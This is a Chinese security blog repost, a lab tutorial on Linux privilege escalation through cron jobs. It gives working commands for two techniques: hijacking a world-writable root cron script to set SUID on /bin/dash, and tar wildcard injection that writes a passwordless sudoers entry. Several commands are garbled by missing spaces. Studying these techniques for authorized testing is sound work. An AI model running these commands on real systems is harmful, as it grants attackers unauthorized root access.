linux计划任务提权,技术分享 | 如何使用Cron Jobs实现Linux提权

db9a0f998cd489261c0e9680bb6de24a.png

写在前面的话

今天给各位渗透测试同行们提供一种Linux提权方法,在这篇文章中,我们将介绍如何使用Cron Jobs来实现Linux下的权限提升,并获取远程主机的root访问权。

Cron Jobs能做什么?

Cron Jobs可以在服务器端完成一系列计划任务(设定时间自动执行命令等等),一般它主要用于执行系统管理员任务,例如数据备份或清理缓存目录等等。Cron这个词来源于“crontab”,而这个玩意儿存在于/etc目录中。

809451ca99a2691b5c91c12ae458cc62.png

比如说,在crontab中,我们添加下列条目来实现每隔一个小时就自动打印出apache的错误日志“1 0 ** * printf "" > /var/log/apache/error_log

Crontab文件重写

设置简陋配置的Cron任务

目标:在crontab的帮助下,设置一个新的任务来运行目标Python脚本,并清除指定目录中的全部数据。

假设目录名称为“cleanup“,它的数据每隔两分钟就会被自动清空一次。在开始之前我们需要在/home/cleanup中存储一些数据:mkdir cleanup

cd cleanup

echo "hello freinds" > 1.txt

echo "ALL files will be deleted in 2 mints" > 2.txt

echo "" > 1.php

echo "" > 2.php

ls

909a1d4b46a56d7b9e984dd3c1923357.png

接下来,编写一个Python脚本来删除/home/cleanup目录中的数据,我们需要给这个脚本完整的r/w/x权限。

切换目录并创建脚本:cd /tmp

nano cleanup.py

脚本代码:#!/usr/bin/envpython

import os

import sys

try:

os.system('rm -r /home/cleanup/* ')

except:

sys.exit()

赋予权限:chmod 777 cleanup.py

c253f67d7fbf2f5d56e0702272d599fd.png

最后配合crontab设置计划任务,并每隔两分钟运行一次cleanup.py :nano /etc/crontab

*/2*   * * *   root    /tmp /cleanup.py

24318817f69eae5edaeb77515f1e33bf.png

验证结果:cd /home/cleanup

ls

date

ls

e1c922acafb147b7eee9e5c97cc8714d.png

大家可以看到数据每隔两分钟就会被清空一次。

后渗透利用

开启你的攻击设备,然后入侵目标系统,接下来直接进到提权步骤。假设我们已经通过ssh成功登录了目标设备,并访问了非root用户终端,然后执行以下命令:cat /etc/crontab

ls -al /tmp/cleanup.py

cat /tmp/cleanup.py

我们此时可以发现,crontab每隔两分钟便会运行一次Python脚本,我们待会儿需要利用这一点。

bc07116648783a6b5d393a14519e95e5.png

启用/bin/dash的SUID,使用nano打开cleanup.py ,并将其中的“rm -r /tmp/*”替换成下列内容:os.system('chmod u+s /bin/dash')

cdf29eecd7e3e712a1462bb3a4744d75.png

两分钟之后,它将会给/bin/dash设置SUID权限,运行之后你就能拿到root权限了:/bin/dash

id

whoami

9d326a73daa9371086eb9e02f4107779.png

Crontab Tar通配符注入

环境搭建

目标:在crontab的帮助下设置一个计划任务,备份HTML目录中的tar文档。

注意,该目录需要具备可执行权限(x)。

ff9a896e9d263b5c48103baba6a0c4fb.png

然后每隔一分钟将/html目录中的tar文件备份到/var/backups中:nano /etc/crontab

*/1*   * * *   root tar -zcf /var/backups/html.tgz/var/www/html/*

14995a5ae4f126247b4c24e9b5be7918.png

执行下列命令查看运行结果:cd /var/backup

ls

date

从下图中我们可以看到,一分钟之后html.tgz文件已经生成了:

6a15205b3a7215f9a839c7b61cd56279.png

后渗透利用

开启你的攻击设备,然后入侵目标系统,接下来直接进到提权步骤。假设我们已经通过ssh成功登录了目标设备,并访问了非root用户终端。接下来,打开crontab查看计划任务是否已经设置成功:cat /etc/crontab

da7047cea6dd915bd13a66a9f2f171fd.png

执行下列命令来授权sudo权限,并登录用户账号,即实现通配符注入:echo'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers'>test.sh

echo"" > "--checkpoint-action=exec=sh test.sh"

echo"" > --checkpoint=1

tarcf archive.tar *

一分钟之后,它将会给用户ignite赋予sudo权限:sudo -l

sudo bash

whoami

0e453ac314860bb5f36f135b27adc95b.png

* 参考来源:hackingarticles,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值